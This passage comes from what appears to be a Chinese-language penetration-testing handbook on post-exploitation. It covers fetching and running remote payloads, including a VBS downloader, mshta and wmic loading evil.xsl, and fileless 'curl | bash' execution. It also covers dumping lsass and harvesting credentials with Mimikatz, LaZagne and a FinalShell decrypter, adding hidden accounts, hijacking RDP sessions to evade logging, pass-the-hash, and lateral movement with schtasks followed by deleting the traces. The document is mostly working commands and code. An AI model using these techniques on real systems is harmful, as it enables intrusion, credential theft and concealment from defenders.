976 | 在实际环境中,可以通过运行如下命令来写入vps
977 |
978 | ```bash
979 | echo Set Post = CreateObject("Msxml2.XMLHTTP") >>hhh.vbs
980 | echo Set Shell = CreateObject("Wscript.Shell") >>hhh.vbs
981 | echo Post.Open "GET","http://127.0.0.1/1.exe",0 >>hhh.vbs
982 | echo Post.Send() >>hhh.vbs
983 | echo Set aGet = CreateObject("ADODB.Stream") >>hhh.vbs
984 | echo aGet.Mode = 3 >>hhh.vbs
985 | echo aGet.Type = 1 >>hhh.vbs
986 | echo aGet.Open() >>hhh.vbs
987 | echo aGet.Write(Post.responseBody) >>hhh.vbs
988 | echo aGet.SaveToFile "2.exe",2 >>hhh.vbs
989 | ```
990 |
991 |
992 |
993 | ##### 3、通过FTP下载文件
994 |
995 | ```bash
996 | echo open 192.168.1.115 21 > ftp.txt
997 | echo 123 >> ftp.txt //user
998 | echo 123 >> ftp.txt //password
999 | echo binary >> ftp.txt //bin模式
1000 | echo get robots.txt >> ftp.txt
1001 | echo bye >> ftp.txt
1002 | ```
1003 |
1004 |
1005 |
1006 | ##### 4、通过js下载文件
1007 |
1008 | ```js
1009 | var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false); WinHttpReq.Send();
1010 | WScript.Echo(WinHttpReq.ResponseText);
1011 | ```
1012 |
1013 | 保存为1.js,命令行下执行:
1014 |
1015 | ```bash
1016 | cscript /nologo 1.js http://192.168.1.115/robots.txt
1017 | ```
1018 |
1019 |
1020 |
1021 | ##### 5、通过bitsadmin下载文件
1022 |
1023 | BITSAdmin是一个命令行工具,可用于创建下载或上传并监视其进度。运行如下命令下载文件:
1024 |
1025 | ```bash
1026 | E:\>bitsadmin /rawreturn /transfer down "http://192.168.1.115/robots.txt" E:\PDF\robots.txt
1027 | ```
1028 |
1029 | 如果下载文件在1-5M之间,需要时时查看进度。同样它也支持进度条。
1030 |
1031 | ```bash
1032 | bitsadmin /transfer down /download /priority normal "http://192.168.1.115/robots.txt" E:\PDF\robots.txt
1033 | ```
1034 |
1035 | 注意:bitsadmin不支持HTTPS和FTP协议,也不支持Windows XP/Sever 2003及以前的版本。
1036 |
1037 |
1038 |
1039 | ##### 6、通过powsershell下载文件
1040 |
1041 | 自Windows7以后内置了powershell,如Windows 7中内置了PowerShell2.0, Windows 8中内置了PowerShell3.0。
1042 |
1043 | **PowerShell2.0**
1044 |
1045 | ```powershell
1046 | $Urls = @()
1047 | $Urls += "http://192.168.1.115/robots.txt"
1048 | $OutPath = "E:\PDF\" ForEach ( $item in $Urls)
1049 | {
1050 | $file = $OutPath + ($item).split('/')[-1]
1051 | (New-Object System.Net.WebClient).DownloadFile($item, $file)
1052 | }
1053 | ```
1054 |
1055 | 命令行下运行:
1056 |
1057 | ```powershell
1058 | powershell -File down.ps1
1059 | ```
1060 |
1061 | **PowerShell3.0**
1062 |
1063 | ```powershell
1064 | $url = "http://192.168.1.115/robots.txt"
1065 | $output = "C:\inetpub\robots.txt"
1066 | $start_time = Get-Date
1067 | Invoke-WebRequest -Uri $url -OutFile $output
1068 | Write-Output "Time : $((Get-Date).Subtract($start_time).Seconds) second(s)"
1069 | ```
1070 |
1071 | 命令行下运行:
1072 |
1073 | ```powershell
1074 | powershell C:\inetpub\down1.ps1
1075 | ```
1076 |
1077 | **注:需要绝对路径**
1078 |
1079 | 你也可以使用一句话来下载文件:
1080 |
1081 | ```powershell
1082 | powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://192.168.1.115/robots.txt','E:\robots.txt')
1083 | ```
1084 |
1085 | ##### 7、通过wmic下载文件
1086 |
1087 | 执行WMIC以下命令从远程服务器下载并运行恶意XSL文件:
1088 |
1089 | ```bash
1090 | wmic os get /FORMAT:"http://192.168.28.128/evil.xsl"
1091 | ```
1092 |
1093 | ##### 8、通过mshta下载文件
1094 |
1095 | mshta用于执行.hta文件
1096 |
1097 | ```bash
1098 | mshta http://192.168.28.128/run.hta
1099 | ```
1100 |
1101 | ##### 9、通过pubprn.vbs下载文件
1102 |
1103 | 在Windows 7以上版本存在一个名为pubprn.vbs的微软已签名WSH脚本,可以利用来解析.sct脚本:
1104 |
1105 | ```bash
1106 | "C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs" 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct
1107 | ```
1108 |
1109 | #### 7.8.2、Linux
1110 |
1111 | ##### 1、通过curl下载文件
1112 |
1113 | 可以用curl的方式执行http页面上的shell脚本,无需download,在本地机器上直接执行。
1114 |
1115 | ```bash
1116 | 方式1:curl -fsSL http://192.168.99.19:8080/test.sh | bash
1117 | 方式2:bash < <( curl http://192.168.99.19:8080/test.sh )
1118 | ```
1119 |
1120 | ##### 2、通过wget下载文件
1121 |
1122 | ```bash
1123 | 方式1:wget -q -O- http://192.168.99.19:8080/test.sh | bash
1124 | 方式2:wget http://192.168.99.19:8080/shell.txt -O /tmp/x.php && php /tmp/x.php
1125 | ```
1126 |
1127 |
1128 |
1129 | ##### 3、curl和wget合并,实现无文件远程恶意代码执行
1130 |
1131 | ```bash
1132 | bash -c '(curl -fsSL http://192.168.99.19:8080/test.sh||
1133 | wget -q -O- http://192.168.99.19:8080/test.sh)|bash -sh >/dev/null 2>&1&'
1134 | ```
1135 |
1136 |
1137 |
1138 | ##### 4、通过rcp下载文件
1139 |
1140 | ```bash
1141 | rcp root@x.x.x.x:./testfile testfile
1142 | ```
1143 |
1144 |
1145 |
1146 | ##### 5、通过scp下载文件
1147 |
1148 | scp 是 rcp 的加强版,scp 是加密的,rcp 是不加密的。
1149 |
1150 | ```bash
1151 | scp username@servername:/path/filename /tmp/local_destination
1152 | ```
1153 |
1154 |
1155 |
1156 | ##### 6、通过rsync下载文件
1157 |
1158 | 使用rsync可以进行远程同步,拉取文件到本地服务器。
1159 |
1160 | ```bash
1161 | rsync -av x.x.x.x:/tmp/passwd.txt /tmp/passwd.txt
1162 | ```
1163 |
1164 |
1165 |
1166 | ## 8、登录凭证获取技巧
1167 |
1168 | ### 8.1、前言
1169 |
1170 | 在渗透测试中,当我们拿下一台windows主机后,通常要对主机上的一些密码做信息收集,以便后续渗透使用,本文介绍了几种windows下常见的收集密码的方式。
1171 |
1172 | ### 8.2、windows主机密码抓取
1173 |
1174 | #### 8.2.1、Mimikatz
1175 |
1176 | windows密码抓取神器,从windows系统进程lsass.exe中抓取明文密码。
1177 |
1178 | - 下载地址:
1179 |
1180 | ```html
1181 | https://github.com/gentilkiwi/Mimikatz
1182 | ```
1183 |
1184 | - 使用说明:管理员权限运行`Mimikatz.exe`,执行下面的命令:
1185 |
1186 | ```html
1187 | privilege::debug #提取权限
1188 | log #记录日志内容
1189 | sekurlsa::logonPasswords #抓取密码
1190 |
1191 | Mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
1192 | ```
1193 |
1194 |
1195 |
1196 | 
1197 |
1198 |
1199 |
1200 | #### 8.2.2、ProcDump + Mimikatz
1201 |
1202 | 如果主机上装了杀毒软件,开了防火墙,例如:360、火绒之类的话。Mimikatz就会被检测为病毒,无法使用。由于Mimikatz是从lsass.exe中提取明文密码的,当无法在目标机器上运行Mimikatz时,我们可使用**ProcDump**工具将系统的lsass.exe进程进行转储,导出dmp文件,拖回到本地后,在本地再利用Mimikatz进行读取。**ProcDump**本身是作为一个正常的运维辅助工具使用,并不带毒,所以不会被杀软查杀。
1203 |
1204 | - 下载地址:
1205 |
1206 | ```html
1207 | https://docs.microsoft.com/zh-cn/sysinternals/downloads/ProcDump
1208 | ```
1209 |
1210 | - 使用方法:
1211 |
1212 | ```html
1213 | # 将工具拷贝到目标机器上执行如下命令(需要管理员权限)
1214 | ProcDump.exe -accepteula -ma lsass.exe lsass.dmp
1215 | Mimikatz# sekurlsa::minidump lsass.dmp
1216 | Mimikatz# sekurlsa::logonPasswords full
1217 | ```
1218 |
1219 | 
1220 |
1221 |
1222 |
1223 | #### 8.2.3、PwDump7
1224 |
1225 | 
1226 |
1227 |
1228 |
1229 | 使用该工具获取hash值之后,可到cmd5.com进行解密。
1230 |
1231 | 
1232 |
1233 | #### 8.2.4、Getpass
1234 |
1235 | - 下载地址:
1236 |
1237 | ```html
1238 | https://raw.githubusercontent.com/k8gege/K8tools/master/GetPassword_x64.rar
1239 | ```
1240 |
1241 | 
1242 |
1243 |
1244 |
1245 | ### 8.3、第三方运维工具密码抓取
1246 |
1247 | #### 8.3.1、TeamViewer
1248 |
1249 | - 下载地址:
1250 |
1251 | ```html
1252 | https://github.com/uknowsec/SharpDecryptPwd/raw/master/SharpDecryptPwd.exe
1253 | ```
1254 |
1255 | - 使用方法:
1256 |
1257 | ```html
1258 | SharpDecryptPwd.exe -TeamViewer
1259 | ```
1260 |
1261 | 
1262 |
1263 |
1264 |
1265 | #### 8.3.2、Navicat
1266 |
1267 | - 下载地址:
1268 |
1269 | ```html
1270 | https://github.com/uknowsec/SharpDecryptPwd/raw/master/SharpDecryptPwd.exe
1271 | ```
1272 |
1273 | - 使用方法:
1274 |
1275 | ```html
1276 | SharpDecryptPwd.exe -NavicatCrypto
1277 | ```
1278 |
1279 | 
1280 |
1281 |
1282 |
1283 | #### 8.3.3、xshell
1284 |
1285 | xshell默认的sessions会话保存地址是:
1286 |
1287 | ```html
1288 | xshell5:
1289 | %userprofile%\Documents\NetSarang\Xshell\Sessions
1290 | xshell6:
1291 | %userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions
1292 | ```
1293 |
1294 |
1295 |
1296 | - 下载地址1:
1297 |
1298 | ```html
1299 | https://github.com/uknowsec/SharpDecryptPwd/raw/master/SharpDecryptPwd.exe
1300 | ```
1301 |
1302 | - 使用方法1:
1303 |
1304 | ```html
1305 | 先执行 `whoami /user` 将用户名和sid保存下来,然后再使用下面的命令:
1306 | SharpDecryptPwd.exe -Xmangager -p SessionPath -s username+sid
1307 | ```
1308 |
1309 | 
1310 |
1311 |
1312 |
1313 | - 下载地址2:
1314 |
1315 | ```html
1316 | https://github.com/dzxs/Xdecrypt
1317 | ```
1318 |
1319 | - 使用方法2:
1320 |
1321 | ```html
1322 | 先执行 `whoami /user` 将用户名和sid保存下来,然后再使用下面的命令:
1323 | python Xdecrypt.py -p "C:\Users\Admin\Documents\NetSarang Computer\6\Xshell\Sessions" -s 你的用户sid
1324 | ```
1325 |
1326 | 
1327 |
1328 | #### 8.3.4、securecrt
1329 |
1330 | - 下载地址:
1331 |
1332 | ```html
1333 | https://github.com/hustlibraco/Moye/blob/master/SecureCRTDecrypt.py
1334 | ```
1335 |
1336 | - 使用方法:
1337 |
1338 | ```html
1339 | 解密secureCRT保存的密码
1340 | 1. 找到密码保存位置,每台服务器一个ini文件,windows系统位于
1341 | * 用户名\AppData\Roaming\VanDyke\Config\Sessions\ (安装版)
1342 | *SecureCRTSecureFX_hh_x86_7.0.0.326\Data\Settings\Config\Sessions (绿色移动版)
1343 | 2. 执行脚本,python SecureCRTDecrypt.py [filename...]
1344 | ```
1345 |
1346 | 
1347 |
1348 | #### 8.3.5、向日葵
1349 |
1350 | 1、读取向日葵程序路径,可以使用以下命令来读取:
1351 |
1352 | ```html
1353 | tasklist /svc #查找向日葵程序PID
1354 | wmic process where
1355 | processid=4444 get processid,executablepath,name #processid为向日葵的PID
1356 | ```
1357 |
1358 | 2、读取向日葵配置文件:
1359 |
1360 | ```html
1361 | type D:\向日葵\SunloginClient\config.ini
1362 | ```
1363 |
1364 | 主要关注配置中两个参数:
1365 |
1366 | 1.fastcode为本机识别码
1367 |
1368 | 2.encry_pwd为本机验证码但被加密
1369 |
1370 | 可以通过https://github.com/wafinfo/Sunflower_get_Password来解密encry_pwd。
1371 |
1372 | #### 8.3.6、FinalShell
1373 |
1374 | finalshell的配置文件存放在finalshell的安装路径下的conn文件,我们只需要找到conn下的json文件中的password字段值即可,
1375 |
1376 | 
1377 |
1378 | 使用以下脚本对获取的字段值进行解密:
1379 |
1380 | ```java
1381 | import java.io.ByteArrayOutputStream;
1382 | import java.io.DataOutputStream;
1383 | import java.io.IOException;
1384 | import java.math.BigInteger;
1385 | import java.security.MessageDigest;
1386 | import java.security.NoSuchAlgorithmException;
1387 | import java.security.SecureRandom;
1388 | import java.util.Base64;
1389 | import java.util.Random;
1390 |
1391 | import javax.crypto.Cipher;
1392 | import javax.crypto.SecretKey;
1393 | import javax.crypto.SecretKeyFactory;
1394 | import javax.crypto.spec.DESKeySpec;
1395 |
1396 | public class FinalShellDecodePass {
1397 | public static void main(String[] args)throws Exception {
1398 | System.out.println(decodePass(args[0]));
1399 | }
1400 | public static byte[] desDecode(byte[] data, byte[] head) throws Exception {
1401 | SecureRandom sr = new SecureRandom();
1402 | DESKeySpec dks = new DESKeySpec(head);
1403 | SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES");
1404 | SecretKey securekey = keyFactory.generateSecret(dks);
1405 | Cipher cipher = Cipher.getInstance("DES");
1406 | cipher.init(2, securekey, sr);
1407 | return cipher.doFinal(data);
1408 | }
1409 | public static String decodePass(String data) throws Exception {
1410 | if (data == null) {
1411 | return null;
1412 | } else {
1413 | String rs = "";
1414 | byte[] buf = Base64.getDecoder().decode(data);
1415 | byte[] head = new byte[8];
1416 | System.arraycopy(buf, 0, head, 0, head.length);
1417 | byte[] d = new byte[buf.length - head.length];
1418 | System.arraycopy(buf, head.length, d, 0, d.length);
1419 | byte[] bt = desDecode(d, ranDomKey(head));
1420 | rs = new String(bt);
1421 |
1422 | return rs;
1423 | }
1424 | }
1425 | static byte[] ranDomKey(byte[] head) {
1426 | long ks = 3680984568597093857L / (long)(new Random((long)head[5])).nextInt(127);
1427 | Random random = new Random(ks);
1428 | int t = head[0];
1429 |
1430 | for(int i = 0; i < t; ++i) {
1431 | random.nextLong();
1432 | }
1433 |
1434 | long n = random.nextLong();
1435 | Random r2 = new Random(n);
1436 | long[] ld = new long[]{(long)head[4], r2.nextLong(), (long)head[7], (long)head[3], r2.nextLong(), (long)head[1], random.nextLong(), (long)head[2]};
1437 | ByteArrayOutputStream bos = new ByteArrayOutputStream();
1438 | DataOutputStream dos = new DataOutputStream(bos);
1439 | long[] var15 = ld;
1440 | int var14 = ld.length;
1441 |
1442 | for(int var13 = 0; var13 < var14; ++var13) {
1443 | long l = var15[var13];
1444 |
1445 | try {
1446 | dos.writeLong(l);
1447 | } catch (IOException var18) {
1448 | var18.printStackTrace();
1449 | }
1450 | }
1451 |
1452 | try {
1453 | dos.close();
1454 | } catch (IOException var17) {
1455 | var17.printStackTrace();
1456 | }
1457 |
1458 | byte[] keyData = bos.toByteArray();
1459 | keyData = md5(keyData);
1460 | return keyData;
1461 | }
1462 | public static byte[] md5(byte[] data) {
1463 | String ret = null;
1464 | byte[] res=null;
1465 |
1466 | try {
1467 | MessageDigest m;
1468 | m = MessageDigest.getInstance("MD5");
1469 | m.update(data, 0, data.length);
1470 | res=m.digest();
1471 | ret = new BigInteger(1, res).toString(16);
1472 | } catch (NoSuchAlgorithmException e) {
1473 | e.printStackTrace();
1474 | }
1475 | return res;
1476 | }
1477 | }
1478 | ```
1479 |
1480 | 使用以下命令编译文件:
1481 |
1482 | ```html
1483 | javac FinalShellDecodePass.java
1484 | ```
1485 |
1486 | 会生成我们用来解密的FinalShellDecodePass.class文件,再使用以下命令对字段值解密:
1487 |
1488 | ```html
1489 | java FinalShellDecodePass xxxxx
1490 | ```
1491 |
1492 | 
1493 |
1494 | ### 8.4、浏览器密码抓取
1495 |
1496 | #### 8.4.1、LaZagne
1497 |
1498 | - 下载地址:
1499 |
1500 | ```html
1501 | https://github.com/ethicalhackeragnidhra/LaZagne/archive/2.3.1.zip
1502 | ```
1503 |
1504 | - 使用方法:
1505 |
1506 | ```html
1507 | laZagne.exe browsers
1508 | ```
1509 |
1510 | 
1511 |
1512 |
1513 |
1514 | #### 8.4.2、BrowserPasswordDump
1515 |
1516 | - 下载地址:
1517 |
1518 | ```html
1519 | https://files1.majorgeeks.com/020c4877362530fccadf006a858f56ee9637177d/covertops/BrowserPasswordDump.zip
1520 | ```
1521 |
1522 | - 使用方法:
1523 |
1524 | ```html
1525 | 点击setup安装完成以后,即可提取出单文件来运行使用。
1526 | ```
1527 |
1528 | 
1529 |
1530 | ### 8.5、远程桌面连接密码抓取
1531 |
1532 | 查看是否有登录凭证:
1533 |
1534 | ```html
1535 | cmdkey /list
1536 | ```
1537 |
1538 | #### 8.5.1、netpass
1539 |
1540 | - 下载地址:
1541 |
1542 | ```html
1543 | https://www.nirsoft.net/toolsdownload/netpass-x64.zip
1544 | ```
1545 |
1546 | - 使用说明:
1547 |
1548 | ```html
1549 | 使用管理员权限运行即可
1550 | ```
1551 |
1552 | 
1553 |
1554 |
1555 |
1556 | #### 8.5.2、离线解密 RDP 保存的密码
1557 |
1558 | 通过查看目标注册表发现了历史 RDP 的记录:
1559 |
1560 | ```html
1561 | reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
1562 | ```
1563 |
1564 | 
1565 |
1566 |
1567 |
1568 | 发现存在 RDP 密码文件:
1569 |
1570 | ```html
1571 | beacon> shell dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
1572 | [*] Tasked beacon to run: dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
1573 | [+] host called home, sent: 89 bytes
1574 | [+] received output:
1575 | 驱动器 C 中的卷没有标签。
1576 | 卷的序列号是 C09B-63AC
1577 | C:\Users\Administrator\AppData\Local\Microsoft\Credentials 的目录
1578 | 2017-08-31 11:28 .
1579 | 2017-08-31 11:28 ..
1580 | 2017-08-31 11:28 482 242067442375049DD8C15BA0948FA81A
1581 | 2017-08-31 11:08 482 66F17973F3B68674CB1837A732B2022A
1582 | 2 个文件 964 字节
1583 | 2 个目录 19,997,614,080 可用字节
1584 | ```
1585 |
1586 | 通过把两个文件下载到本地离线进行解密:
1587 |
1588 |
1589 |
1590 | 然后使用:procdump.exe(注意免杀问题) 把 lsass.dmp 抓下来
1591 |
1592 | ```html
1593 | procdump.exe -accepteula -ma lsass.exe lsass.dmp
1594 | ```
1595 |
1596 |
1597 |
1598 | 之后通过 Mimikatz 进行获取 guidMasterKey 值:(后面会用到)
1599 |
1600 | ```html
1601 | mimikatz # privilege::debug
1602 | mimikatz # dpapi::cred /in:C:\66F17973F3B686XXXXXXXXXXXXXXXXXX
1603 | ```
1604 |
1605 |
1606 |
1607 | 本地使用命令加载 dmp 并获取对应得 MasterKey 值:
1608 |
1609 | ```html
1610 | mimikatz# sekurlsa::minidump lsass.dmp //将lsaa.dmp导入
1611 | mimikatz# sekurlsa::dpapi
1612 | ```
1613 |
1614 |
1615 |
1616 |
1617 |
1618 | 最后使用 Masterkey 解密凭证得到明文密码:
1619 |
1620 | ```html
1621 | dpapi::cred /in:C:\66F17973F3B6XXXXXXXXXXXXXX /masterkey:9a94787450391e74a94025c5f148a7c1d78d5e3b9d0588864a86609065c1d36XXXXXXXXXXXXXXXXXXXXXXX
1622 | ```
1623 |
1624 |
1625 |
1626 |
1627 |
1628 | ### 8.6、低权限下搜集当前机器各类密码文件
1629 |
1630 | #### 8.6.1、dir收集各类密码配置文件
1631 |
1632 | 一般密码文件或者配置文件都是:
1633 |
1634 | ```html
1635 | pass.*,config.*,username.*,password.*
1636 | ```
1637 |
1638 | 我们就可以使用 dir命令来进行文件查找,建议不要直接从 c盘根目录找,那样文件会很多,建议从 User目录下:
1639 |
1640 | ```html
1641 | dir /b /s user.*,pass.*,config.*,username.*,password.*
1642 | ```
1643 |
1644 | #### 8.6.2、for 收集各类密码配置文件
1645 |
1646 | 还可以通过 for 循环来查找,例如查找匹配 **pass** 文件:
1647 |
1648 | ```html
1649 | for /r c:\ %i in (pass.*) do @echo %i
1650 | ```
1651 |
1652 | #### 8.6.3、findstr 查找文件的某个字段
1653 |
1654 | 上面两条命令只是查找某个文件,那我们想要查找一个文件里有没有 `user`、`pass` 等字段内容,就可以使用这条命令:
1655 |
1656 | ```html
1657 | findstr /c:"sa" /c:"root" /si *.txt
1658 | ```
1659 |
1660 | ### 8.7、总结
1661 |
1662 | 1、上述描述的抓取密码的方式,大部分需使用管理员权限才能抓取。
1663 |
1664 | 2、`windows`密码仅在`win2008`及以下可使用,`win10`及`server2012`及以上默认不保存明文密码,无法使用工具抓取。
1665 |
1666 | ## 9、对RDP常规操作
1667 |
1668 | ### 9.1、查看rdp服务端口
1669 |
1670 | 这里有两种方式可以获取rdp服务端口,一种是通过注册表
1671 |
1672 | ```html
1673 | REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
1674 | ```
1675 |
1676 | 得到连接端口为 0xd3d,转换后即为rdp端口。
1677 |
1678 | ```html
1679 | tasklst /svc # 查看开启远程端口的服务PID(有TermService 标志的)
1680 | netstat -ano # 查看PID ,对应的端口就是远程服务的端口
1681 | ```
1682 |
1683 | ### 9.2、开启rdp服务
1684 |
1685 | 老版本和新版windows版本不一样
1686 |
1687 | windows server 2003
1688 |
1689 | ```html
1690 | 开启:
1691 | REG ADD \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
1692 | 关闭:
1693 | REG ADD \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 11111111 /f
1694 | 开启:
1695 | wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1`
1696 | REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
1697 | REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
1698 | ```
1699 |
1700 | windows server 2008
1701 |
1702 | ```
1703 | 开启:
1704 | REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
1705 | ```
1706 |
1707 | ### 9.3、增加影子账号
1708 |
1709 | 在windows中,添加账户名后面加入$符合可以使该用户在命令行中隐藏
1710 |
1711 | 例如:
1712 |
1713 | 
1714 |
1715 | 我这里添加了一个普通用户,但是用net user命令却看不懂此用户。
1716 |
1717 | 但实际上确实是存在的
1718 |
1719 | 
1720 |
1721 | ### 9.4、RDP劫持
1722 |
1723 | 假如我们已经控制了一台主机,通过查看任务管理器发现当前主机上还有另一个用户曾经登录过。我们就可以尝试使用rdp会话劫持的技术来访问这一个用户的用户空间,也就做到了免密登录,这种操作的好处就是攻击者会逃避事件监视器,因为攻击者并没有创建新的会话,而是有效地充当被劫持会话的用户,取而代之,所以日志文件中无法显示会话劫持记录,也记录不到。
1724 |
1725 | 通过以下命令查看所有已连接的用户:
1726 |
1727 | ```html
1728 | query user
1729 | ```
1730 |
1731 | 
1732 |
1733 | 可以看到有三个用户,而admin123就是当前我们远程登录的用户,这里我们利用Windows自带的tscon.exe程序来进行RDP劫持,tscon.exe可以使用户可以连接到系统上的其他远程桌面会话,或在不同的会话之间切换。
1734 |
1735 | 首先我们创建一个服务,命令如下:
1736 |
1737 | ```html
1738 | sc create servername binpath= "cmd.exe /k tscon 3 /dest:rdp-tcp#3"
1739 | ```
1740 |
1741 | 简单解释下上面的命令,这里的3是我们要劫持的会话id,rdp-tcp#3是当前用户的session name,服务创建成功后启动服务:
1742 |
1743 | ```html
1744 | net start servername
1745 | ```
1746 |
1747 | 然后会观察到窗口闪了一下,打开一个新的串口,输入whoami可以发现当前用户切换到了admin1
1748 |
1749 | 
1750 |
1751 | 
1752 |
1753 | 我们也可以使用mimikatz来进行rdp劫持的操作,相关命令如下:
1754 |
1755 | ```html
1756 | privilege::debug #提权
1757 | ts::sessions #查看当前主机的会话
1758 | token::elevate #提升本地管理员权限为system
1759 | ts::remote /id:1 #劫持id为1的会话
1760 | ```
1761 |
1762 | ### 9.5、PTH RDP
1763 |
1764 | 有时候抓不到明文密码,也想登陆rdp服务咋办?这时候就可以PTH RDP,利用hash去认证rdp服务。如果使用hash远程登录RDP,服务端需要开启"Restricted Admin Mode",在Windows8.1和Windows Server 2012R2上默认开启,同时如果Win 7 和Windows Server 2008 R安装了2871997、2973351补丁也支持,Client 也需要支持Restricted Admin mode。
1765 |
1766 | **手动修改注册表开启方法**
1767 |
1768 | 位置:
1769 |
1770 | ```html
1771 | HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
1772 | ```
1773 |
1774 | 新建DWORD键值DisableRestrictedAdmin,值为0,代表开启;值为1,代表关闭
1775 |
1776 | ```html
1777 | REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
1778 | 查看是否已开启
1779 | REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"
1780 | ```
1781 |
1782 | 使用minikatz来进行PTH
1783 |
1784 | ```
1785 | privilege::debug
1786 | sekurlsa::pth /user:admin /domain:remoteserver /ntlm:hash "/run:mstsc.exe /restrictedadmin"
1787 | ```
1788 |
1789 | **也可以用Python实现(rdp_check.py)**
1790 |
1791 | ```html
1792 | https://github.com/SecureAuthCorp/impacket/blob/master/examples/rdp_check.py
1793 | ```
1794 |
1795 | 脚本运行前需要安装Impacket
1796 |
1797 | ```html
1798 | rdp_check.py /administrator@192.168.1.1 -hashes :NTLM
1799 | ```
1800 |
1801 | ## 10、域内横向移动分析
1802 |
1803 | ### 10.1、为什么命令行渗透?
1804 |
1805 | 1. 远程登录桌面增加暴露风险;
1806 | 2. 目标管理员可能对服务器禁用了远程登陆。
1807 |
1808 | ### 10.2、ipc连接
1809 |
1810 | IPC---共享“命名管道”的资源,通过IPC$可以与目标机器建立连接,利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。
1811 |
1812 | ```html
1813 | net use \\192.168.10.12 /u:administrator password #建立ipc连接
1814 | net use # 查看连接
1815 | copy sbn.exe \\192.168.10.12\C$\windows\temp #复制本地文件到目标服务器
1816 | copy \\192.168.10.12\C$\windows\temp\hash.txt #复制目标服务器文件到本地
1817 | ```
1818 |
1819 | 利用条件:
1820 |
1821 | ```html
1822 | 1、开启139【NetBIOS协议的应用】、445端口;
1823 | 2、管理员开启了默认共享;
1824 | ```
1825 |
1826 | 利用失败:
1827 |
1828 | ```html
1829 | 1、用户名或者密码错误;
1830 | 2、目标没有开启139、445端口;
1831 | 3、目标没有打开ipc$默认共享;
1832 | 4、命令输入错误
1833 | ```
1834 |
1835 | 使用net use命令与远程目标机器建立ipc$后,可以使用以下命令对远程目标进行操作。
1836 |
1837 | #### 10.2.1、dir命令
1838 |
1839 | ```html
1840 | dir \\192.168.1.100\c$
1841 | ```
1842 |
1843 | #### 10.2.2、tasklist命令
1844 |
1845 | ```html
1846 | tasklist /S 192.168.1.100 /U administrator /P Admin123456
1847 | ```
1848 |
1849 | #### 10.2.3、计划任务
1850 |
1851 | ##### 1、at命令
1852 |
1853 | at是windows自带用于创建计划任务的命令,它主要工作于**windows server 2008之前版本**的操作系统,使用at命令在远程目标上创建计划任务的流程如下:
1854 |
1855 | - 使用net time命令确定远程机器当前的系统时间;
1856 | - 使用copy命令将payload文件复制到远程目标机器中;
1857 | - 使用at命令定时启动该payload文件;
1858 | - 删除使用at命令创建计划任务的记录。
1859 |
1860 | ```html
1861 | net time \\192.168.1.100 #查看远程目标的系统时间
1862 | copy calc.bat \\192.168.1.100\c$ #将文件复制到目标系统
1863 | at \\192.168.1.100 4:11PM c:\calc.bat #使用at创建计划任务,在下午4点11分执行calc.bat
1864 | at \\192.168.1.100 ID /delete #清除at记录,ID为创建计划任务的ID
1865 | ```
1866 |
1867 | 我们还可以使用at计划任务直接执行系统命令,但是由于不会回显,我们需要把命令写到文本中,再使用type读命令,操作如下:
1868 |
1869 | ```html
1870 | at \\192.168.183.130 17:05:00 cmd.exe /c "ipconfig > C:\Users\Administrator\result.txt"
1871 | type \\192.168.183.130\c$\Users\Administrator\result.txt
1872 | ```
1873 |
1874 | 
1875 |
1876 | ##### 2、schtasks命令
1877 |
1878 | windows vista、windows server 2008及之后版本的操作系统已经将at命令废弃了,取而代之的是schtasks命令。
1879 |
1880 | 用法如下:
1881 |
1882 | ```html
1883 | schtasks /create /s 192.168.1.33 /tn test /sc onstart /tr c:\calc.bat /ru system /f
1884 | # 在192.168.1.33这台远程主机上创建一个名称为“test”的计划任务,该任务在开机时启动,启动程序为c:\calc.bat,启动权限为system
1885 |
1886 | schtasks /run /s 192.168.1.33 /i /tn "test"
1887 | # 在远程主机上运行名为"test"的计划任务
1888 | ```
1889 |
1890 | 在建立了ipc$连接的前提下,schtasks是不需要输入密码的,如果没有建立连接,可以加上/u和/p参数来输入用户名和密码。但也有些时候,由于当前权限或组策略设置等原因,该schtasks方法远程创建计划任务可能会报错拒绝访问:
1891 |
1892 | 
1893 |
1894 | 遇到这种情况,我们可以加上/u和/p参数分别设置高权限用户名和密码,如下:
1895 |
1896 | ```
1897 | schtasks /create /s 192.168.1.33 /u administrator /p Liu78963 /tn test /sc minute /mo 1 /tr c:\shell.exe /ru system /f
1898 | ```
1899 |
1900 | 当计划任务运行后,为了更好地隐藏我们的行为,我们需要删除计划任务:
1901 |
1902 | ```html
1903 | schtasks /delete /s 192.168.1.33 /tn "test" /f #/f参数为强制删除
1904 | ```
1905 |
